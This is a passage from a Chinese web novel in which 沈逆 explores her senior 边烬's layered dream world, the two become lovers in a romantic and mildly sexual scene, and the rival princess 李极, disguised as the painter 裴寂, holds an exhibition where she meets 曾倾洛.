边烬坐起来,依旧和她保持着半个人的身位,身子前倾,清正秀美的脸庞破开黑暗,浮上灯光铺就的水面,落入沈逆的眸底。
边烬:“找到什么了吗?”
沈逆:“……没。”
“遇到了危险?”
险些和我们自己玩了三人游戏算不算危险?
这大逆不道的话自然没说,沈逆不确定边烬为什么要在梦境世界深处的深处埋了这么一个场景。她像刚刚从另一个世界回来,脑中一片混乱,需要梳理真实和梦境。
难怪要控制梦境互通的时间,还要设置冷却时长,否则进进出出太快太频繁,真的容易导致精神错乱。
沈逆摆了摆手,想下床拿一罐镇定类的营养液。
刚一动,腰部的伤挫得她倒吸一口气,撑着腰在床上没能动弹。
边烬看她一眼,走去拿了一瓶营养液,递给她。
沈逆:“谢谢……”
还真是她想要的那款营养液。
一口喝完,心跳归位,终于彻底回到现实。
边烬正坐在床边,双臂抱在身前,一言不发地看着她。
她知道,边烬在等她说梦境世界里遇到了什么。
沈逆老实说了。
老实说了一小部分。
说她怎么安抚菌菇小队,后来出现一朵“食人花”,将她吞下去,之后落到了双极楼中。
说边烬居然觉得自己是个和蔼温柔的大师姐。
边烬:“不可能,我对师妹师弟一向严厉。”
沈逆心里偷偷道,原来师姐还算有自知之明。
边烬说完后又想了想,觉得自己略为片面了。
这句话完整的应该是“不可能,我对除了某位小师妹之外的师妹师弟一向严厉”。
当然,这话她不可能当着“某位小师妹”的面说出口。
边烬沉思着:“你被森林之中的花吞噬,顺着花茎坠落到了双极楼,这有可能是突破意识的防备,进入到了更深的……”
说了一半突然停住。
沈逆帮她补完:“更深层的意识层面?”
边烬:“……可以这么说。”
想了想,又问。
“你有发现什么,吗?”
沈逆怀疑她这句话里“什么”和“吗”字中间,漏了具体的对象。
沈逆反问:“你指的是?”
边烬:“比如,一些反常的事。”
比如,她花了大价钱想要隐瞒的事。
那可太多了,沈逆心道,基本上都是反常的事,没几件正常。
只是,那些都是师姐的隐私,师姐本人肯定是心知肚明,没什么好拿出来说叨。
万一有些事情是她的创伤,她好不容易遗忘了,再从记忆的角落里把这些玩意揪出来非要给当事人看,不等于揭人旧伤么?没必要。
沈逆道:“你梦境里的我很反常。”
边烬警觉。
“怎么反常?”
“可爱到反常。”
边烬:……
听到沈逆的发言,边烬忍住没翻白眼。
不过那一瞬细微的紧张,没能逃过沈逆的眼睛。
沈逆确定了,师姐先前分析得对。
师姐的梦境世界有许多层面。
立着师尊巨型石像的平原是最表层。
平原的山谷,是表层梦境中最复杂,埋着最多伤痛的地带。而森林是巨大的迷宫,象征着她表层梦境最后的防备。
一旦突破了防备,就能进入下一层梦境。
第二层梦境的双极楼已里一切偏向,已经是师姐的秘密。
那两个女兵带着沈逆入的深潭,恐怕是更深的第三层。
沉着更不可见光的心思。
为什么有两位陌生的女兵,沈逆想不明白,不过第三层梦境里看到的事,明明白白象征着情爱。
在一层层的梦境世界里走了一遍,沈逆没法不去想一件事——师姐也是喜欢她的。
不止是喜欢,对她甚至有欲念。
那深深压抑在内心深处的欲念。
……
沈逆不确定先前一直没能进入第二层梦境,是因为自己没有大胆地抚摸菌菇们,以示自己的好意,才错过了被冰蓝夜昙早一些吞进肚子里的“好机会”。
还是这次被无脸女掳走,让边烬心态发生了变化,这才获准往她心的更深处走。
沈逆倾向于第一种可能。
毕竟这两日师姐脸上写的是生人勿进,熟人也勿近。
总不可能在情绪这么糟的情况下,反而放下对沈逆的戒备吧。
事实上,沈逆也有想岔的时候。
边烬在她自己也不知道的情况下,内心世界对沈逆彻底放行,正是因为这次沈逆在她眼皮底下被劫走,险些丧命。
当时焦灼到极近发狂的心情,到今日都没能算彻底疏解,依旧后怕。
所以,她说“生自己的气”,这是实话。
骨折、内脏出血,浑身的擦伤,历历在目。
她气自己居然无法保护沈逆,让沈逆受了这么重的伤。
内心更是忧虑,若自己走了,带走了沈逆心血之作“逆芯”,回头她再遇到同样的危险怎么办。
谁保护她。
她气自己无法周全,也气这份对周全的忧虑。
边烬的心思从错乱为难中回拢,忽然发现沈逆的指尖就在唇边。
曾经被她顶开唇舌戏弄的画面突兀地撞入脑海里,边烬偏头躲开沈逆的触碰。
沈逆手指落了个空,也没不高兴。
“我只是发现你嘴唇也受伤了。是救我的时候弄的么?”
这几日沈逆被伤痛困扰,边烬这处的伤靠近唇内侧,不仔细看很难发现。
刚才边烬不知在想什么,唇微微张启,一道深深的血口撞入沈逆眼底,触目惊心。
沈逆心疼,想看看到底有多严重。
边烬却没想她碰的意思。
即便被拒绝,沈逆心里还是疼的紧。
“师姐,下次别为我冒险了。”
边烬看着别处,冷淡道:“只是还需要靠你找回丢失的记忆罢了,不用多想。”
沈逆听罢,没半点不高兴,乖巧地点了点头,唇边还似乎有些笑意。
“嗯,我知道。”
边烬:?
沈逆知道她嘴上固定的那几套,不就是一切都是为了找回记忆,为了亲密度,把沈逆当成好用的手段或工具么?
都会背了。
反正不管她嘴上怎么说,心里却喜欢沈逆喜欢得紧。
是谁人群中第一眼就能看到师妹,是谁幕天席地纠缠一个师妹不够,还要诱惑第二个师妹。
沈逆点头如捣蒜。
“嗯嗯,只是要用我罢了,不多想,我从来不多想。”
边烬:……
感觉哪里有点不对。
之后的几日。
不敢造次的沈逆,在得知边烬真正的心意之后,再一次过上了一言不合就对边烬撒娇的日子。
而边烬面上冷淡嘴里无情,身体却忍不住满足她所有要求。
吃穿自不用说,之前连续好几夜边烬都是背对她睡的,这几日,沈逆夜间说冷,大夏天的边烬给她罩了毯子也不见好,非要边烬抱着才能睡。
边烬:“我给你拿冬被去。”
沈逆:。
沈逆:“冬被太厚太沉太闷,不舒服。”
边烬瞧着她那颗圆圆的后脑勺,都觉得狡猾了几分。
没再说话,边烬从她身后抱上来。
柔软的躯体贴着沈逆的后背,被边烬拥入怀中的感觉非常安心。
被师姐身上淡淡的香味包裹、浸染着,像回到了故乡。
……
得逞了几日,身上的伤好得差不多了,夜里两人又开始接吻。
边烬自然是被动的,一开始也在拒绝。
待一言不发的沈逆启开她唇舌,方才冷淡的推拒,慢慢融成了唇齿间沉默的合谋。
触觉指数到了可怕的三百一。
沈逆手贴在边烬的盆骨边,慢慢蹭着她亲手安装上去的接插口。
仿佛有火星在身体里蹿。
越吻越深,忽然,她们都察觉到了一种说不清的共融感。
情绪如同开启的匣子,边烬言语上沉默,手中甚至在推拒,可明明吻让她万分喜欢,难以抗拒。
这种情绪清晰地传递到了沈逆的心里。
汹涌的“喜欢”像潮水,从遥远的海岸呼啸着奔涌而来,霎时吞没了沈逆的心口。
沈逆心跳被催得极快,身子透出桃粉。
和此刻边烬身上的颜色一模一样。
“是连理模块中的情意共振功能吧……”
沈逆吻着边烬的耳廓,在她耳边说着。
“爱侣间耳鬓厮磨,若只有单方面的感受,或许无法真正让彼此都快乐的。情意共振,便是能在敦伦之时感知彼此最细微的感受。师姐这下是想要……”
边烬一时被她直白的话弄得面上发烫,捂住她的嘴。
“不许说。”
沈逆怕边烬真的生气,乖乖地在她掌心里道:“好,我不说。”
两人默默相视。
嘴上没说,情意共振却告诉沈逆,她说对了。
沈逆声音还闷在边烬的手里。
“这回我可没说……”
是你的真实想法自己到我心里去的。
连理模块六十六页说明她追随边烬的步伐,阅读完毕,五大功能了如指掌。
怕沈逆再出事,是边烬主动提议把所有功能都开启的。
只是没想到今晚会把自己坑成这样。
指背都红了,边烬的指尖紧扣着身上人的肩头,眼里尽是羞恼之意。
沈逆迎着她那双羞恼的漂亮眼睛,吻得更深。
情意共振非常精准,连身体的反馈都能直达对方内心。
沈逆轻易地找到了要命的地方。
被压在被褥里的师姐气息混乱潮湿。
和梦境那隐蔽的草丛中的她一模一样。
深喘在喉咙里藏着,她一向不会发出具体的声音,只是闷闷的,模模糊糊,又被沈逆弄得情不自禁。
情意在共振,触觉指数不停地抵达历史最高值。
每次指数都该是最高了,却能在下一次达到更高。
右手被沈逆扣着,抵在凌乱的床面上。
她说不行了,她说你还不够。
再后来又说什么边烬完全听不清了,摇摇头,又难受地点点头。
沈逆抱着她,感受她又一次的轻颤,听她受不住地唤她“师妹”……
如果说上次还有些倦,这次则是彻彻底底的放纵。
放纵到最后,是边烬缠着沈逆接吻,唇里的伤都顾不上。
她气自己忧虑,更气自己那么喜欢沈逆。
气过之后,又克制不住地心动,沉沦。
是要走的。
但此刻实实在在被沈逆抱着,被她占有,享受着她的依恋时,边烬无法不去想,若走了,谁来疼爱沈逆,谁为她挡下危机?
夜里谁哄她入睡,谁来与她热吻?
第95章
梦中,边烬又一次置身于那片迷雾。
她知道影子依旧在迷雾内监视她,却不发一言。
边烬:“没什么要跟我说的?”
语气平静,但在此刻,完完全全是挑衅。
迷雾里的影子在经过漫长的沉默后,终于开口:你已经彻底沉沦了,这不是你该做的事。
边烬能感受到那影子正压抑着脾气。
边烬望着如烟如雾之处,淡然道:“我该做什么事当由我自己决定,而不是你。你是谁,有什么资格命令我?你甚至不敢出来与我相见。”
影子答非所问:你贪恋现在的生活。
边烬:“有什么不好?”
影子:现在的你,爱上她了。
这次轮到边烬沉默。
未知的梦境地点,漫天的迷雾遮去了她的面容,反而能让她将内心最真实的自己剖出来看。
给自己看。
边烬:“是啊……我爱上她了。岂止是现在的我,我早就爱上她了。”
影子的意识依旧与边烬互通着。
边烬能感受到,那团影子的气息变得更浓了。
影子:你该做好离开的准备。
边烬冷笑着,像自嘲,也像在对自己许诺。
“我已经离开过一次,伤害过她一次了。这次我不会走。”
在消失之前,影子说:命运不会让你停留。
……
之后沈逆又去了边烬梦境世界几次,寻找丢失记忆一事一直没有太大的进展。
其实沈逆已经能在边烬的三层梦境里自如地穿梭了。
她抓紧时间努力寻找着突破口,最终都无功而返。
毫无头绪时摸摸小菌菇,逗逗小时候的师姐。
偶尔和师尊照面,便会意味深长地拍拍她的肩膀。
一直没能找到关键的信息,让沈逆有些挫败。
边烬反过来安慰她不必焦虑。
决定留下后,边烬的确没那么着急了。
与那迷雾黑影对峙之后,边烬看清了前路,先前的阴霾清除了不少。
既然连理模块里的诸多功能让她情绪无处可藏,索性不再藏。
边烬人生第一次选择放任自己。
放任她和沈逆的关系。
她和沈逆都有自己的事要做,有时候昼时见不着面,夜里在府中某处忽然相见,说说今日做了些什么,有时候聊着聊着便想亲近。
她喜欢被沈逆气息染透。
喜欢和自己的喜欢亲密无间。
万姑姑发现,情意盒最近总是两夜一空,有时候一夜就得再补充。
夫人们闺房秘事得低调,万姑姑不想侍女们知晓,免得有人管不住嘴出去胡言乱语,便亲自张罗。
一段时日下来,沈逆在边烬的沉默中,对她哪处最敏感已经了如指掌,亲密度突飞猛进,已经涨到了九十。
沈逆到梦境世界里探索的时间也延长了不少。
说也奇怪。
先前这些事也不是没做过,当时涨得可不如现下这般快。
大抵是边烬不再为难自己,第一次想和沈逆身心相通。
这亲密度便不加盖般顺利往上窜。
偶尔也会想到师尊。
师尊的教导依旧在边烬身上留着深深的印记。
当初为了能够觉醒更高的天赋,师尊对她的要求严格到残酷。
除了修行还是修行,吃最清淡的食物,喝无味的水,每日早睡定时早起。
不与人争锋,不可有喜恶。
更不用说人欲。
边烬在压抑着七情六欲的岁月中,和苦修相伴长大。
极端的淬炼下,也有边烬撑不下去的时候。
每当她意志消沉之时,师尊不会安慰她,反而一次次地告诫她远离人欲。
“欲会伤心,更能杀人。无欲则无求。镜花水月最是无用,耽于情爱者终究会堕落。”
在边烬之前,师尊也曾收过徒儿,那才是她第一位徒弟。
那位徒儿出身贫寒,却天赋异禀,十岁时凭自学打造出了S级的玉璧,震惊全帝国。
师尊对她倾注了所有的心血,渴望她能觉醒双S级机械天赋,继承衣钵,执掌双极楼。
边烬:“后来呢?”
“你该能猜到,她爱上了不该爱上的人,一个穷凶极悖,不知廉耻的妖女。那妖女是双极楼的仇家,隐姓埋名多年,只为了有朝一日向双极楼复仇。妖女诱惑了她,待我不在时让她打开山门,放妖女到双极楼中大肆屠杀。当时我正在国外游历,收到消息立刻赶回,可惜……为时已晚。当时我的师兄师妹全被她杀光。那个被利用的蠢货也被妖女斩断双腿,变成了残废。”
师尊终究没忍心杀她,把她逐出师门,永不可入双极楼。
“傻子只会自伤,而过分的愚蠢会酿成谁也无法想象的悲剧。”
师尊想起那位徒弟时面容冷淡,看似无甚情绪,不过边烬还是从她眼中察觉到了失落。
师尊的话扎在边烬心口,这些年她一直视欲念为豺狼虎豹,不敢亲近。
发现自己对沈逆的情感时,第一反应是不想承认,不能承认,这不是她该做的事。
而这六年,她经历生死离别,几乎走完了普通人的一辈子。
本以为时光已逝,人生不复。
没想到坠入生命谷底时,向她伸出手的是当初残忍对待的人。
她没能爱的那个人,还在不计代价地爱着她……
边烬开始重新思考师尊烙在她心上的话。
人欲的确是把危险的刀,不会用刀的人会伤着自己。
会用者,不仅不会弄伤自己,还能保护他人。
边烬知道自己会是后者。
……
边烬嘴上没说什么好听话,不过沈逆已经从她的行为上感受到了心思的转变。
无论因何转变,沈逆只知道师姐喜欢她,这就够了。
身上的伤好得差不多,遭此大难,沈逆想着师姐怎么着也能疼她疼满七七四十九天。
没想到,就在她不用拐杖行走的第二日,就被边烬叫起来晨练。
沈逆:?
怎么跟想的不太一样。
沈逆还想挣扎一下,被边烬一句话怼回来。
“我也没指望让机械师练出多强壮的体魄,但基本的保命能力还是得有。除了每天早上的晨练,晚间有空的话,我也会陪你去到工作室,当你的助手也好,必须完成一个时辰的专注改造。这一个时辰只专注你自身的改造。完成机械外骨骼或是武器升级,无论如何,务必做到提升自己的战力。”
边烬想了想,“战力”两个字还谈不上,改成:
“算了,先提升保命能力吧。”
沈逆:?
沈逆:“我觉得我保命能力挺好的呀……”
边烬都懒得说和无脸女对战的时候自己遭遇了什么。
幸好对上的是无脸女,但凡换一个,她都没法向敌人解释为什么忽然投喂食物。
边烬:“有给食物保鲜的工夫,不如多为自己做一点保命的武器。”
沈逆:……
就说那一大袋刚保鲜好的油炸地豆去哪儿了,连带着那碟桂花糕都不见了。
原来是身体托管的时候被师姐挥霍掉了。
浪费食物,痛心疾首。
但迎着师姐审视的目光,半点不敢表现出来。
沈逆只好道:“那些都是垫肚子的……我也有保命的武器啊。”
边烬:“哦?在哪?”
能抽出地豆,说明师姐当时是按照自己的战斗习惯来找武器,因为她的鞭子一直缠在腰间,所以本能地从腰上寻找。
沈逆从手臂里抽出戒棍,在手指尖舞动。
“有没有可能它在最容易拿到的地方……”
边烬指尖一弹,空中冲来一波空气弹,直接将戒棍弹飞。
沈逆:“你怎么偷袭?”
边烬:“还是做一个不容易被夺走的武器吧。强化外骨骼,或者做个载具比较适合你。”
沈逆:……
边烬:“在此之前,身体素质也得跟上。看得出来这六年没有我监督你怠惰了不少。你重伤刚好,其他的暂且推后,先从最基础的跑步开始。跟着我从这儿跑到双极楼,顺便看看枫儿,然后再跑回来。”
沈逆以为自己听错了。
“师姐,双极楼可是在郊外。”
“嗯,还是说你想跑到洛阳?”
“……”
怎么说呢。
沈逆安慰自己,凡事往好处想,能和师姐一起共度晨时,也算美事一桩。
累点就累点吧。
被边烬督促着跑了几日,一开始不太适应,之后精力的确有显著提升,连干眼症的症状都减轻了。
在双极楼和师姐一起看日出,从她身后抱着她,在她一言不发的默许下启开她的唇,品尝她口中甜软时,沈逆甚至喜欢上了晨跑。
有奖励的苦差事,还是能拼一拼的。
在边烬督促下,沈逆顺利打造出了全身的外骨骼,与此同时升级了手臂里的能量池和戒棍的性能。
从李渃元那天子仪仗里得到了灵感,打算给自己打造一个火力凶猛还能保命的载具。
答应给第五阙做的武器也在推进。
她让窦璇玑发一份天赋细节过来,先前答应帮她做的武器也一并做了。
精力提升之后,沈逆能同时做更多的事。
当然也不会忘记这风谲云诡的长安城内,几方相持的政斗还未停歇。
本以为最高研发署禁区被破,炼丹炉失踪,李渃元会铺天盖地展开搜捕,掘地三尺也要将她私藏了多年的宝物追回来。
没想到整个大明宫安静得出乎意料,安静得不合情理。
而诬陷边烬叛国的视频已经消失于万维网。
云端上暂时还没线索。
或许真像先前她们分析的那样,恐怕没人能在临死前拼死备份记忆。
可那是百万大军,百万之中起码有一半都是人类,如果这事儿是边烬干的,即便她再厉害,能在极短的时间内杀死几十万人,不留下任何一点的线索吗?
沈逆不太信这种事。
沈逆打算去暗网发布悬赏,悬赏百万大军折亡真相线索,报酬是一斤星河铬素,或等价黄金。
反正秦无商那恶心的视频已经闹得满城风雨,众人皆知。
即便很多人不敢说,背地里也没少议论。
人的嘴是没法彻底堵住的。
既然如此,不如打开天窗说亮话。
沈逆甚至直接用大号发布了这条悬赏。
重赏之下必有勇夫,她不介意往外撒点金子。
她最不缺的就是金子。
而且,新的“金山”也在开采中。
她的“狸力开采一号机”乘坐两只侦查鸟,往睦州境内去了。
已经在勘察狸力三号坑周围的状况,计算出开采成功率为六成六。
成功率不算很高,不过比她想的要稳妥些。
但凡有一成她都开采,能挖多少就挖多少。
挖完之后还要立即传消息给李极,且看她被偷了家气急败坏的模样。
算是以牙还牙。
这次最高研发署的行动,原本计划的是通过贺兰濯给李极传话,引秦无商出现,将她丢到最高研发署现场,最高研发署里造的孽全部堆到秦无商头上。
再将秦无商和李极暗度陈仓的视频往外一扬,便看她们如何与李渃元对掐。
谁知秦无商没出现,她们还被感染黑魔方的无脸女偷袭,防不胜防。
最让沈逆意外的是,曾倾洛目睹李极和秦无商见面的记忆无法投影。
曾倾洛莫名其妙。
“我真的看到她们见面了,还一起制定了计划。”
边烬安慰她:“我们当然相信你,恐怕你的记忆模块被人动了手脚。”
沈逆和边烬心里大概有些猜测的方向。
毕竟她俩都被贺兰濯催眠过,知晓催眠的感觉。
沈逆让曾倾洛不用着急。
精神天赋者有催眠销毁的手段,机械师也有科学寻回的方法。
既然这件事曾倾洛还记得,只是没法给旁人看,那沈逆就能进入她的记忆模块,将这段视频提取出来,这对她而言并不困难。
催眠这事儿如果真的是贺兰濯干的,贺兰濯也给沈逆她们留了余地。
以贺兰濯对沈逆能力的了解,不会想不到沈逆可以通过机械师的手段破解催眠。
贺兰濯处处都在暗示自己的诚意,沈逆和边烬对她的能力很有兴趣。
若能策反贺兰濯,对李极而言会是一场巨大的危机。
策反之前需要更多了解贺兰濯与李极的关系。
沈逆在北境留有耳目,睦州在北境之边,沈逆的势力残留也渗透了睦州,要调查一位节度使的身份并不难。
耳目很快回复,就两个字——“明白”。
这耳目有一阵子没动静了,沈逆一直以为耳目在北境遭遇不测,原来还活着。
……
那日一早,沈逆让曾倾洛到前厅来。
“在这侯府闷了几日,小师姐带你出去走走如何?”
曾倾洛有些意外,问道:“咱们去哪儿?”
沈逆将一页宣传画报推到她面前。
画报上的女人眉眼动人,曾倾洛看了一眼,更是不解。
“难道……”
“没错。”沈逆笑道,“咱们就去这书画家裴寂的个人作品展上,好好散散心。”
沈逆要曾倾洛能自由在长安城行走。
要让李极见到曾倾洛从自己的眼皮下走过,即便百爪挠心,也不敢再动她。
第96章
早上天还没亮,帝国客栈顶层便传来敲门声。
康逸开门,见门口站着个穿着华丽繁琐的中年女人。
中年女人不见得保养得多好,妆容很浓,不好判断具体年纪,有可能四十岁,也有可能六十岁。她高挺的鼻梁上架着右眼单照,穿着睦州最时兴的收腰长裙,手里推着个沉甸甸的行李箱,眼角都没瞥康逸,径直走进屋中,不满道:
“殿下不该住在这种地方,太招摇。李渃元要是派人刺杀,这么高的地方都不好逃生。你们一直跟随殿下左右,当多提醒殿下。”
康逸和繁之并不言语,女人直接推门走进李极的寝屋。
一开门,窗帘和满地的画纸被风卷起。
李极还在睡觉,女人关上窗,捻起一张飞到窗边的画。
画中尽是一些潦草的飞鸟。
飞鸟肆意飞翔的姿态,让她觉得碍眼。
李极不满地睁开眼,看到了眼前人。
女人打开行李箱,从中展开一排龙门架,龙门架上挂着两套精致的襦裙,一套素雅高贵,一套娇艳夺目。
李极翻了个身,背对着她。
那女人将妆用的物件一件件从官皮箱里拿出来,慢悠悠地说:
“殿下,现在不是睡觉的时候。作品展就要开始了,老奴要帮您化妆,试裙子了。”
李极的背影闷了一会儿,转身下床,一边走向她一边脱去寝衣。
走到她面前的是一具完美的皮囊。
女人看向晨光中的李极,目光凝了好几息,回过神,挑了那款素雅的襦裙,帮李极换上。
镜中,龙门架正好压着李极的画。
画中漂亮的小雀被压在架下,一半的脸都被挡住了。
“殿下出落得和贵妃一模一样了……”
那女人一边为李极穿衣,扣上一排排繁琐的搭扣,一边痴痴地说着。
“老奴第一次服侍贵妃的时候,贵妃正是殿下这般年纪。那时的贵妃正得先帝盛宠,花一般的娇美无暇,整个长安城都找不到能与她相提并论的女人,就连……”
“蔺姑姑。”
李极打断她的话。
“你没觉得这身裙子短了些吗?”
李极回身,蔺姑姑发现她手里攥着把步摇。
步摇尖锐的一头对着蔺姑姑心口的方向。
李极神色阴沉,蔺姑姑后颈发凉,本能地往后退了一步。
李极忽然笑了。
“怕什么,怕我用它刺死你这老不死的?”
还没束起的长发披散在肩头,和精致的襦裙反差鲜明,更衬得李极状若疯子。
疯子可是什么事都干得出来的。
就在蔺姑姑惧意上脸时,李极将步摇放入她手中,甜甜地笑道:
“你是娘亲留给我的管家,我怎么可能杀你呢?你和向叔叔操持着安王府,把我未来二十年的路都铺好了,我感谢你们都来不及,怎么可能伤害你?”
李极随意往椅子上一坐,背对着蔺姑姑,示意她继续为自己梳妆。
蔺姑姑身上还有些冷意,为李极盘发时的动作都变慢了。
半个时辰后,方才慵懒潦草的李极,在蔺姑姑的巧手装扮下变成了风雅端庄的书画家裴寂。
李极看着镜中的自己,雪肤花貌,完美无缺。
漂亮到乏味。
娘亲死了这么多年,她遗留下来的人和庞大的计划,还在紧紧束着李极的手脚。
她都跑到长安城来了,娘亲的旧部还寸步不离,拿娘亲那些带着老旧气味的衣服来勒她的喉咙,掰她的腿,一步步走在让她恶心的人生道路上。
走着走着,脚印变成了她的脚,再也无法从这条路上离开。
蔺姑姑正收拾官皮箱,李极盯着镜子里的她,真心实意地发问:
“你这么喜欢我娘,没想过下去陪她吗?”.
裴寂在三年前声名鹊起,随手一幅涂鸦都能拍到天价。
有人说她是炒作出来的天才,也有人说污蔑她的人根本不懂艺术。
无论褒贬,如今的裴寂是整个唐Pro帝国最炙手可热的书画家,这点毋庸置疑。
裴寂或是李极,都极少在公开场合露面。
这次在长安城举办的个人展,是裴寂第一次出现在公共场合,自然引发地震般的轰动。
甚至有她的拥趸从兰陵甚至是岳国千里迢迢跑来,从暗网上买了高价票,就是为了能一睹她的风采。
靖安侯府的马车距离个人展举办的画坊还有一条街,就被拥堵的路挤得被迫停下。
沈逆和曾倾洛步行往里走。
曾倾洛打量着周围发了疯一样的人群。
有人用水彩在脸上写着“裴寂”的名字;有人裙子上是裴寂成名作,那个巨大的“殺”字狂草……乌泱泱的一大波,脸上写满了兴奋和期待。
个人展还未开始就已经人声鼎沸,整条街充斥着高温烹热油般滚烫的气氛。
曾倾洛不解,问沈逆:“小师姐,这裴寂为何这般招摇?就不怕被盯上么?”
沈逆当然知道她说的“被盯上”指的是被李渃元盯上。
沈逆:“估计她还真不怕。李极背后的幕僚除了帮她书画作品造势,更以她的名义到处做慈善。裴寂这个名字不止象征书画家,更是个博施济众的大善人。她的好名声早就在运作了,只待今日走到人前,将裴寂和李极这两个名字结合在一起,便能帮安王李极顺利得到大量民心。今日的作品展或许就是个陷阱,不怕天子来,只怕她不来。”
曾倾洛一点就通。
曾倾洛道:“原来如此……她现在名声这般好,若是天子对她下手,只怕会对天子自身有损。天子一直都在维护仁君的形象,自然不好对一位大善人下杀手,何况此人还是自己的妹妹。难怪安王在长安城这么久,住在帝国客栈那么招摇的地方,天子都没有动静。”
身后人突然插话:“当然也是忌惮她在睦州暗养的兵马和幕僚。”
沈逆和曾倾洛一同往后看。
边烬一路都跟着她们,警惕着周围有可能发生的异动。
沈逆完全没发现她一直跟随在后。
“你怎么来了?都说我可以自己带倾洛来。”
边烬:“万一遇到危险怎么办?”
沈逆:“我可以对付。”
边烬:“拿油炸地豆对付?”
沈逆:……
曾倾洛好奇道:“什么油炸地豆?”
沈逆:“……小孩儿不需要知道这些。”
边烬看沈逆被她弄得哑口无言,嘴角有一丝笑意。
她当然知道沈逆已经为自己升级了战斗体系,可今日要来见的是狡诈的李极。
此人的实力,边烬到现在也摸不清。
不说被异兽围攻那夜都能捡回一命,就是趁着她们去最高研发署派人偷袭靖安侯府的时候,那一波可都是个中好手。
这都不是在睦州,而是京师长安,李极这般嚣张,她身后可仪仗的势力比想象的还要庞大。
别说沈逆现在只是升级了战斗体系,就是她现在忽然冲破了天赋的天花板,炸出一个三S级天赋,边烬该不放心还不放心。
边烬一言不发寸步不离,觉得自己就是个担心孩子的家长。
沈逆却趁着曾倾洛注意力被别处吸引,忽然抬手摸了一下边烬的脑袋。
边烬:?
沈逆:“乖,那师姐就跟着我吧。”
没等边烬说话,沈逆立即挽住曾倾洛,头也不回地往前走。
根本不去管身后边烬心里用多少个“没大没小”往她身上砸。
反正刚才边烬被她摸得一怔的样子,足够笑一整年了。
像梦境世界里那些可爱的小菌菇.
裴寂的个人作品展的地点,选在长安城东市最知名的画坊。
从入口到展出大厅,需要穿过一条长长的走廊,走廊尽头悬挂着一副画。
画面中是一片浓黑,但所有人第一眼看到的却是黑暗深处一星点的彩光。
浓黑加深了彩光的距离,压抑感催动心跳,彩光变成了一种遥远的诱惑。
左下角除了裴寂的手书和印章外,还有一个秀气的“曾”字。
“曾”字很明显不是裴寂所写,端正内敛。
“曾”字之下还有一撇,那撇草草写就,仿佛是个名字,写时不知被何事打断了,这是个未完成的署名。
所有参加这次作品展的人都会通过这条长廊。
也就是说,所有人都会看到这幅画。
周围都在议论这个突兀的“曾”字是何意。
各种浮想联翩的猜测,都落到曾倾洛发烫的耳朵里。
沈逆和边烬暗暗看了她一眼。
沈逆一眼就认出那个字是曾倾洛亲笔所写。
曾倾洛是她师妹,也当过她的兵,后来又是探子,曾倾洛的四种笔迹沈逆都认得。
沈逆来之前,深度调查过“裴寂”。
裴寂对自己的书画才能非常自负,也格外严谨,任何人都不许置喙她的作品,甚至不容许沾上一点旁人的气息。
在装裱前但凡被人触碰,整幅画她都会烧掉。
而眼前这副巨制上,赫然写着一个不属于她的名字。
还多了一撇,完全是败笔。
李极居然能忍受这样一抹败笔,还将此画展示在入口处,要让所有人都看见……
看来先前猜测的没错。
曾倾洛和李极之间肯定发生了一些事,一些连师姐们都不好告知的事。
边烬也认出了曾倾洛的字,正要开口,手被沈逆握了一下。
边烬意识到这是自己不太擅长的领域,便没吭声。
曾倾洛再次凝视这副画。
当初写下这个字时甜蜜的心情,此刻只有被愚弄的羞恼。
李极将此画挂在这儿,是在嘲讽,还是在惺惺作态?
画坊里挤满了人,万众瞩目之下,裴寂终于出现。
仰慕者们在看到眼前这位无法用言语形容的美人时,怔愣了一息,随后仿佛水入油锅,满场惊叹。
裴寂扬起笑容问候,说自己第一次以真实面貌出现在大家面前很不安。
嘴上说着不安,无论言语还是行为,倒是一点都找不到不安的痕迹。
裴寂谈吐优雅,从容亲和,说起自己的作品不矜不伐,面对提问言之有物,相当迷人。
最后更是宣布,今日所有收入都将捐赠给“义体保障计划”,希望能救助更多因更换不起义体而死亡的贫苦百姓。
与此同时,她在缓缓散发精神力。
将这些人对裴寂的爱,更深地刻入他们的魂魄里,让他们为裴寂着迷,发疯,让他们把裴寂当成神明来崇拜。
回头裴寂和李极的身份相通后,对裴寂的情感自然而然会转到李极身上。
这是李极身后幕僚制定的计划。
是夺权路上最重要的一步。
她明白此事的重要性,可此刻,扮演着温文尔雅的裴寂,迎着众人爱慕心折的目光,笑容像挂在脸上的僵硬面具。
无聊透顶。
这些痴迷的表情落在她眼中,心内没有任何波澜,只觉得愚蠢至极。
众人的头顶是一片乏味的灰,李极在机械性表演着另一个自己,浑浊的空气,嗡嗡作响的人语和突然爆发的笑声,刺得她脑子针扎一般痛,胸口紧闷。
就在她被窒息的憋闷感压得喘不上气时,忽然在人群中看到了一张脸。
清秀,稚气,却和周遭完全不同的一张冷漠的脸。
曾倾洛站在人群的最外围,沸腾的狂热中,面无表情的她像一座散发着寒意的冰峰。
冷得李极麻木的心陡然发颤。
曾倾洛……
曾倾洛!
你竟敢来!
明目张胆出现在此,无非是勾引她的陷阱,谁会上当。
对视一瞬,李极正要提起一个满不在乎的笑,移开目光。
却见曾倾洛率先不再看她,转身,毫不留恋地离开。
眼看曾倾洛越走越远,一直游刃有余的李极忽然变成了失序的机器。
匆匆结束了对新作的介绍,逆着众人诧异的目光提起裙摆,紧追那道身影!
第97章
李极追着曾倾洛,一直追到阳台。
宽阔的阳台是爬藤植物的栖息地,人类世界越是衰败,植物就越是茂盛。
这儿只有曾倾洛一人。
曾倾洛靠在被深绿覆盖的栏杆边,阴郁的天空正好落下一道吝啬的光,连植物都没受到眷恋,光也迷恋她似的,全部铺在她身上。
这张一直占据李极梦境的脸,忽然真实地出现在眼前,却和梦里在她身下眉眼柔软的小娘子全然不同。
没人知道,在静谧的深夜,李极调取了多少次记忆模块里的影像。
反复看了多少次她和曾倾洛缠绵的记忆。
那些依赖的拥抱,难耐的轻颤,和因为爱无限的纵容,在李极充满恨意和说不清的迷乱情绪中,慢慢发酵成了难言空虚,和抓心挠肝的瘾。
被她随意一个吻就会爱意外露的小娘子,此刻看着一身华服美丽无缺的她,像看一堆垃圾。
李极额头上出了一层细细的汗。
不知冷热,口干舌燥。
繁之挡下好奇的众人,康逸紧跟在李极身后,已经快步追到阳台的琉璃门外。
李极反手将背后的琉璃门关上。
正要进来的康逸险些被拍中鼻子。
康逸:……
“你竟然敢来,不怕我弄死你吗?”
李极盯着曾倾洛的脸,嘴角的笑容有些发颤。
“既然来了,你今日休想离开。”
比起李极浑身血液暗自沸腾,曾倾洛的表情丝毫未变。
没在言语上争锋,投了一段视频给李极看。
这是曾倾洛的记忆投影。
李极和秦无商一同出现在画面的中心。
